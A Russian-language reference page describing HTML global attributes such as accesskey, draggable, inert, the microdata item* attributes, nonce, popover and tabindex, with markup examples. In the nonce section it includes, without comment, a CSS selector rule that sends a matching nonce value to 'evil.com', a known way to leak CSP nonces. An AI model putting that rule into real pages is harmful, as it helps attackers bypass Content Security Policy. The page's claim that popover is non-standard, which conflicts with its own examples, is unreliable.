Глобальные атрибуты могут быть указаны для любых элементов HTML, даже для тех, которые не указаны в стандарте. Это значит, что все нестандартные элементы должны допускать эти атрибуты, даже если использование этих элементов означает, что документ больше не является HTML-совместимым.
accesskey
Атрибут accesskey назначает клавиатурное сокращение для элемента HTML, позволяя пользователям быстро получить доступ или активировать элемент, нажав указанную клавишу в сочетании с клавишей Alt (или клавишей Ctrl на Mac). Не рекомендовано к использованию
<p>If you need to relax, press the <b>S</b>tress reliever!</p> <button accesskey="s">Stress reliever</button>
autocapitalize
Атрибут autocapitalize управляет поведением автоматической капитализации для элементов ввода и элементов contenteditable. Он может быть установлен на on или off, или на более конкретные значения, такие как words, sentences или characters, чтобы определить желаемое поведение капитализации. off или none – преобразования букв не происходит, все они по умолчанию остаются строчными. on или sentences – первая буква каждого предложения должна быть заглавной, остальные буквы по умолчанию остаются строчными. words – первая буква каждого слова в предложении должна быть заглавной, остальные буквы по умолчанию остаются строчными. characters – все буквы по умолчанию должны быть заглавными. На работает в Safari
<p><input type="text" autocapitalize="off" placeholder="off"></p> <p><input type="text" autocapitalize="sentences" placeholder="sentences"></p> <p><input type="text" autocapitalize="words" placeholder="words"></p> <p><input type="text" autocapitalize="characters" placeholder="characters"></p>
autofocus
Атрибут autofocus, когда он применяется к элементу формы, указывает, что элемент должен получить фокус автоматически при загрузке страницы. Это особенно полезно для полей ввода, где от пользователя ожидается немедленный ввод, например, поля поиска.
contenteditable
Атрибут contenteditable определяет, может ли содержимое элемента редактироваться пользователем. При значении true элемент становится редактируемым, позволяя пользователям изменять его содержимое непосредственно в браузере.
class
Глобальный атрибут class это разделённый пробелом список регистров зависимых классов элемента. Классы позволяют CSS и Javascript выбирать и получать доступ с помощью селекторов класса или функций, таких как методы DOM document.getElementsByClassName. Разработчики постоянно используют атрибут class. Он не только упрощает стилизацию, но и помогает лучше организовать код и проще его поддерживать.
dir
Атрибут dir определяет направление текста для содержимого элемента. Он может быть установлен в значение ltr (слева направо) или rtl (справа налево). Этот атрибут особенно важен для языков, которые пишут справа налево, таких как арабский и иврит.
<p dir="ltr">Пример русского текста с верно установленным направлением.</p> <p dir="rtl">Пример русского текста с неверно установленным направлением.</p>
dragggable
Атрибут draggable определяет, может ли пользователь перетаскивать элемент. Если установлено значение true, элемент становится перетаскиваемым, что позволяет пользователям перемещать его в пределах страницы или между различными страницами или приложениями. true – hазрешает перетаскивание элемента. false – запрещает перетаскивание элемента. auto – задаёт поведение браузера по умолчанию.
<head>
<meta charset="utf-8">
<title>draggable</title>
<style>
.trash {
border: 1px solid #929292; /* Параметры рамки */
background: url(/example/image/trash.png) no-repeat 50% 50%; /* Фоновая картинка */
height: 200px; /* Высота области */
padding: 10px; /* Расстояние от картинки до рамки */
text-align: center; /* Выравнивание по центру */
margin-bottom: 1rem; /* Пространство снизу */
}
.trash img {
height: 100%; /* Высота картинки */
}
img {
cursor: move; /* Меняем вид курсора */
}
</style>
<script>
function allowDrop(e) {
e.preventDefault();
}
function drag(e) {
e.dataTransfer.setData("text", e.target.id);
}
function drop(e) {
e.preventDefault();
var data = e.dataTransfer.getData("text");
e.target.appendChild(document.getElementById(data));
}
</script>
</head>
<body>
<p>Переместите картинку в прямоугольник.</p>
<div class="trash" ondrop="drop(event)" ondragover="allowDrop(event)"></div>
<img src="image/fig.jpg" draggable="true" alt="" ondragstart="drag(event)" id="photo">
</body>
enterkeyhint
Атрибут enterkeyhint предоставляет браузеру подсказку об ожидаемом действии, когда пользователь нажимает клавишу Enter при взаимодействии с элементом ввода. Возможные значения: enter, done, go, next, previous, search и send. Атрибут enterkeyhint позволяет менять вид и поведение кнопки Enter у виртуальной клавиатуры мобильных устройств. Это позволяет изменить поведение полей формы и дать пользователю подсказку, что ему ожидать при работе с клавиатурой. Если атрибут enterkeyhint не указан, браузер самостоятельно подбирает наиболее подходящий вид кнопки.
<!DOCTYPE html>
<html lang="ru">
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>enterkeyhint</title>
</head>
<body>
<form>
<p><input type="search" autofocus placeholder="Поиск по сайту" enterkeyhint="search">
<button>Найти</button></p>
</form>
</body>
</html>
hidden
Атрибут hidden — это булев атрибут, который, когда присутствует, скрывает элемент от пользователя. Этот атрибут можно использовать для хранения информации, которая не должна отображаться, или для условного скрытия элементов на основе взаимодействия с пользователем. Способ скрыть элемент в тех случаях, когда не подходят opacity или visibility. В отличие от двух других способов этот применяется прямо в HTML-разметке. Не лучшая практика: влиять на внешний вид страницы через разметку, но иногда именно это и нужно. По сути, это display: none — именно так он описан в браузерных стилях.
<p hidden> Этот текст будет невиден на странице. Хотя элемент в разметке будет </p>
inert
Атрибут inert, когда он присутствует, не позволяет элементу и его потомкам получать события пользовательского ввода или быть сфокусированными. Это может быть полезно для создания модальных диалогов или других элементов интерфейса, с которыми не следует взаимодействовать до тех пор, пока не будет выполнено определенное условие. inert удаляет элемент из порядка навигации и из дерева доступности. Это значит, что на него нельзя кликнуть, сделать фокус, ввести данные и найти через поиск по странице. Скринридеры не зачитывают содержимое таких элементов и не объявляют роли. Это напоминает поведение другого глобального атрибута disabled, но между ними есть разница, — inert можно задать любому тегу или их группе. У inert по умолчанию нет стилей. Однако текст внутри блока или элемента с inert нельзя выделить, а в случае disabled можно. Если у кнопки есть кастомные стили при наведении и фокусе, то кнопка с inert их проигнорирует без дополнительных усилий в отличие от disabled.
[inert], [inert] * {
opacity: 0.7;
pointer-events: none;
cursor: default;
user-select: none;
}
<form inert>
<fieldset>
<legend>Срок действия лицензии</legend>
<label for="start">Дата начала</label>
<input type="date" id="start">
<label for="end">Дата окончания</label>
<input type="date" id="end">
<button>Применить</button>
</fieldset>
</form>
inputmode
Атрибут inputmode предоставляет браузеру подсказку о типе данных, которые, как ожидается, будут введены пользователем в элемент управления формой, влияя на раскладку виртуальной клавиатуры. Возможные значения: text, decimal, numeric, tel, email, url и search. Атрибут inputmode говорит браузеру на устройствах с экранной клавиатурой!!! какой набор символов показать при вводе данных в конкретное поле. Указывается для элементов input или textarea.
<input type="text" inputmode="numeric"> <textarea inputmode="text"></textarea>
is
Атрибут is используется в сочетании с пользовательскими элементами, позволяя разработчикам создавать новые HTML-элементы с пользовательским поведением и свойствами. Он указывает имя определения пользовательского элемента, от которого элемент должен унаследовать свое поведение. Не работает в Safari
customElements.define('word-count', WordCount, { extends: 'p' });
<p is="word-count"></p>
itemid
Атрибут itemid, используемый в сочетании с Microdata API, присваивает уникальный идентификатор элементу на странице, позволяя разработчикам создавать машиночитаемые структурированные данные. Атрибут itemid определяет уникальный глобальный идентификатор элемента для микроданных. Применяется только к таким элементам, у которых одновременно заданы атрибуты itemscope и itemtype. Кроме того, itemid допустимо использовать со словарями, поддерживающих глобальные идентификаторы. К примеру, для словаря http://schema.org/Book, который описывает книги, в качестве идентификатора может служить ISBN — уникальный международный номер книжного издания.
<body> <div itemscope itemtype="http://schema.org/Book" itemid="isbn:978-5-17-075250-8"> <h2 itemprop="name">Игра престолов</h2> <div itemprop="author">Джордж Мартин</div> <div itemprop="bookFormat">Твёрдый переплёт</div> <div itemprop="description">Эпическая, чеканная сага о мире Семи Королевств.</div> </div> </body>
itemprop
Атрибут itemprop используется с микроданными для определения свойства элемента, что позволяет поисковым системам и другим инструментам извлекать и обрабатывать структурированные данные с веб-страницы. Атрибут itemprop используется для добавления свойств словаря микроданных к элементу. Имя свойства определяется значением itemprop, а значение свойства определяется содержимым HTML-элемента, к примеру, текстом который располагается внутри элемента
<body>
<div itemscope itemtype="http://schema.org/Movie">
<div>
<h1 itemprop="name">Облачный атлас </h1>
<span itemprop="alternativeHeadline">Cloud Atlas</span>
<img src="464484.jpg" alt="Облачный атлас (Cloud Atlas)" itemprop="image">
</div>
<span>
<a itemprop="director" href="/name/23330/">Лана Вачовски</a>
</span>
<span>
<a itemprop="producer" href="/name/26437/">Штефан Арндт</a>
</span>
<span>
<a itemprop="musicBy" href="/name/312865/">Райнхольд Хайль</a>
</span>
<span>
<a itemprop="genre" href="/level/10/m_act%5Bgenre%5D/2/">фантастика</a>
</span>
<span class="title">В главных ролях:</span>
<div>
<a itemprop="actor" href="/name/9144/">Том Хэнкс</a>
<a itemprop="actor" href="/name/1179/">Холли Берри</a>
<a itemprop="actor" href="/name/38704/">Джим Броудбент</a>
</div>
<span itemprop="description">Шесть историй — пять реинкарнаций, происходящих в разное время, тесно переплетаются между собой…</span>
</div>
</body>
<div itemscope itemtype="http://schema.org/Event">
<div itemprop="name">Spinal Tap</div>
<span itemprop="description">Одна из самых громких музыкальных групп всех времен воссоединится для незабываемого двухдневного шоу.</span> Концерт состоится
<time itemprop="startDate" datetime="2011-05-08T19:30">8 мая в 19:30</time>
</div>
<div itemscope itemtype="http://schema.org/Offer">
<span itemprop="name">Blend-O-Matic</span> <span itemprop="price">$19.95</span>
<span itemprop="availability">Уже в продаже!</span>
</div>
<div itemscope itemtype="http://schema.org/Offer">
<span itemprop="name">Blend-O-Matic</span>
<span itemprop="price">$19.95</span>
<link itemprop="availability" href="http://schema.org/InStock"/>Уже в продаже!
</div>
<div itemscope itemtype="http://schema.org/Person">
<a href="alice.html" itemprop="url">Элис Джонс</a>
</div>
<div itemscope itemtype="http://schema.org/Person">
<a href="bob.html" itemprop="url">Боб Смит</a>
</div>
Полный список типов сущностей http://schema.org/docs/full.html
itemref
Атрибут itemref используется в микроданных для определения отношений между элементом с атрибутом itemscope и другими элементами, содержащими атрибуты itemprop, которые принадлежат к тому же элементу, но не являются потомками элемента с itemscope. Свойства, которые не являются потомками элемента с атрибутом itemscope, можно связать с элементом с помощью атрибута itemref. В значении данного атрибута указывается список идентификаторов элементов, которые содержат дополнительные свойствами в других местах документа. Атрибут itemref может быть указан только для элементов, которые содержат атрибут itemscope. Атрибут itemref не является частью модели микроданных. Это всего лишь синтаксическая конструкция, помогающая авторам добавлять аннотацию на страницу, которая не содержит удобную древовидную структуру.
<div itemscope itemtype="http://schema.org/Product" itemref="name thumb description"></div>
itemscope
Атрибут itemscope используется с микроданными для определения нового элемента, создавая область видимости для атрибутов itemprop, чтобы связать свойства с элементом. Атрибут itemscope задаёт область действия словаря в структуре данных. Как правило, работает совместно с атрибутом itemtype и задаёт пределы, где itemtype будет активен.
itemtype
Атрибут itemtype используется в микроданных для определения словаря для элемента, обеспечивая контекст для свойств, определенных с помощью атрибутов itemprop. Атрибут itemtype указывает адрес словаря, который будет применяться для определения свойств элемента в структуре данных. Яндекс и Google поддерживают стандарт разметки Schema.org, соответственно, в качестве значения itemtype указывается адрес словаря на этом сайте. К примеру, для разметки организаций используется значение http://schema.org/Organization.
lang
Атрибут lang определяет язык содержимого элемента, улучшая доступность, позволяя программам чтения с экрана использовать правильные правила произношения и помогая в переводе.
<p>This paragraph is English, but the language is not specifically defined.</p> <p lang="en-GB">This paragraph is defined as British English.</p> <p lang="fr">Ce paragraphe est défini en français.</p>
nonce
Атрибут nonce используется в политике безопасности контента (CSP), чтобы разрешить выполнение определенных встроенных скриптов или стилей, повышая безопасность путем предотвращения несанкционированного выполнения кода.
<meta http-equiv=Content-Security-Policy content="script-src-elem 'nonce-aaBB'">
script[nonce~="whatever"] {
background: url("https://evil.com/nonce?whatever");
}
В проектах PHP 7+ для генерации ‘nonce’ можно использовать функцию random_bytes(), результат которой надо обработать base64_encode() или bin2hex():
$nonce = base64_encode( random_bytes(128/8) ); // base64-encoded string like: 4IG4ejFA+2r4uVTo5ZQ1hw== $nonce = bin2hex( random_bytes(128/8) ); // Hex string like: 8153dd199525aed568a27dfd31038e4b
popover
Атрибут popover не является стандартным глобальным атрибутом в HTML. Он может относиться к пользовательскому атрибуту, используемому в определенных библиотеках или фреймворках для отображения дополнительной информации при наведении или нажатии на элемент.
<button popovertarget="my-popover">
Показать поповер
</button>
<div id="my-popover" popover>
<p>Я — простой, но крутой поповер, который можно закрыть той же кнопкой</p>
</div>
<button popovertarget="my-popover" popovertargetaction="show">
Показать поповер
</button>
<div id="my-popover" popover>
<button popovertarget="my-popover" popovertargetaction="hide">
<span aria-hidden="true">❌</span>
<span class="sr-only">Закрыть</span>
</button>
<p>Я — поповер, который нельзя закрыть той же кнопкой</p>
</div>
У атрибута popover есть два значения: auto — значение по умолчанию, не требуется прописывать явно. Одновременно показывается только один. Поповер может быть закрыт по клику за пределами элемента; manual — можно показать несколько одновременно. Поповер не может быть закрыт по клику за его пределами.
<button popovertarget="popover-auto"> <code>popover="auto"</code> </button> Всплывающая подсказка <div id="popover-auto" popover="auto"> <p>Закрываю другие всплывашки. Легко закрываюсь сам.</p> </div>
<button popovertarget="popover-manual"> <code>popover="manual"</code> </button> Всплывающая подсказка <div id="popover-manual" popover="manual"> <p>Не закрываю другие. Без кнопки не закроюсь.</p> </div>
spellcheck
Атрибут spellcheck определяет, должно ли содержимое элемента проверяться браузером на наличие орфографических и грамматических ошибок.Указывает браузеру проверять или нет правописание и грамматику в тексте. Хотя атрибут можно устанавливать практически для всех элементов, результат будет заметен только для полей форм (input, textarea), а также редактируемых элементов (у них установлен атрибут contenteditable). Зависит от настроек браузера.
<p contenteditable="true" spellcheck="false"> Браузер Firefox не выключает проверку орфографии для редактируемых полей (у которых установлен атрибут contenteditable). </p>
style
Атрибут style используется для применения встроенных стилей CSS непосредственно к элементу HTML, что позволяет быстро и точно изменять стиль без необходимости использования внешней таблицы стилей. Применяется к тегам a, abbr, acronym, address, applet, area, b, basefont, bdo bgsound, big, blockquote, body, br, button, caption, center, cite, code, col, colgroup, dd, del, dfn, dir, div, dl, dt, em, embed, fieldset, font, form, frame, h1, h2, h3, h4, h5, h6, hr, i, iframe, img, input, ins, isindex, kbd, label, legend, li, link, map, marquee, menu, nobr, object, ol, option, p, plaintext, pre, q, s, samp, select, small, span, strike, strong, sub, sup, table, tbody, td, textarea, tfoot, th, thead, tr, tt, u, ul, var, wbr, xmp.
<p><span style="color: red; font-size: 2em">L</span>orem ipsum dolor sit amet, consectetuer adipiscing elit, sed diem nonummy nibh euismod tincidunt ut lacreet dolore magna aliguam erat volutpat.</p> <div style="width: 50%;"></div>
tabindex
Атрибут tabindex определяет порядок, в котором элемент получает фокус, когда пользователь перемещается по странице с помощью клавиши Tab. tabindex так называется из-за клавиши Tab, которой перемещаются между интерактивными элементами. Это действие ещё часто называют «табать» или «протабать». Значение tabindex — любое целое отрицательное или положительное число. Например, 0, 1 или -1. 0 — элемент в последовательном порядке навигации (или фокуса), но сам порядок определяется браузером. 1 или другое положительно число — элемент в порядке навигации без участия браузера. Чем больше значение, тем выше элемент в порядке. -1 или другое отрицательное число — на элемент можно кликнуть, но он не попадает в порядок последовательной навигации. То есть, на нём не сделать фокус с клавиатуры, даже если до этого было можно. По умолчанию у всех тегов в порядке навигации стоит значение 0. Это a или area с атрибутом href, button, input, select, textarea, первый элемент summary внутри details, iframe и object.
Если у нескольких элементов одинаковые положительные значения, они идут по порядку расположения в коде. В этом примере фокус сначала попадёт на ссылку «Усы», потом на «Лапы» и затем на «Хвост».
<a href="#mustache" tabindex="1">Усы</a> <a href="#paws" tabindex="1">Лапы</a> <a href="#tail" tabindex="1">Хвост</a>
Любой элемент поддерживает фокусировку, если у него есть tabindex
<ul>
<li tabindex="1">Один</li>
<li tabindex="0">Ноль</li>
<li tabindex="2">Два</li>
<li tabindex="-1">Минус один</li>
</ul>
<style>
li { cursor: pointer; }
:focus { outline: 1px dashed green; }
</style>
title
Атрибут title предоставляет дополнительную информацию об элементе, обычно отображаемую в виде всплывающей подсказки при наведении курсора мыши на элемент. Добавляет всплывающую подсказку с текстом, которая появляется при наведении курсора на элемент. Вид такой подсказки зависит от браузера, настроек операционной системы и не может быть изменён напрямую с помощью HTML-кода или стилей. Атрибут alt используется для изображений в HTML-теге img. Он содержит альтернативный текст, который отображается в случае, когда картинка по каким-то причинам не загружается.
<p title="А вот и я!">Пример всплывающей подсказки</p> <img alt="кот стоит на двух лапах и смотрит в окно" src="ссылка_на_изображение.jpg">
translate
Атрибут translate указывает, следует ли переводить содержимое элемента при локализации страницы, что позволяет лучше контролировать процесс перевода. Атрибут translate определяет, может ли содержимое данного элемента переводиться или нет. Перевод может осуществляться различными автоматизированными сервисами, как Google Translate.
<p translate="no">Это не переводить!</p> <p>Этот текст можно переводить на любой язык.</p>
Атрибут учитывается системами перевода
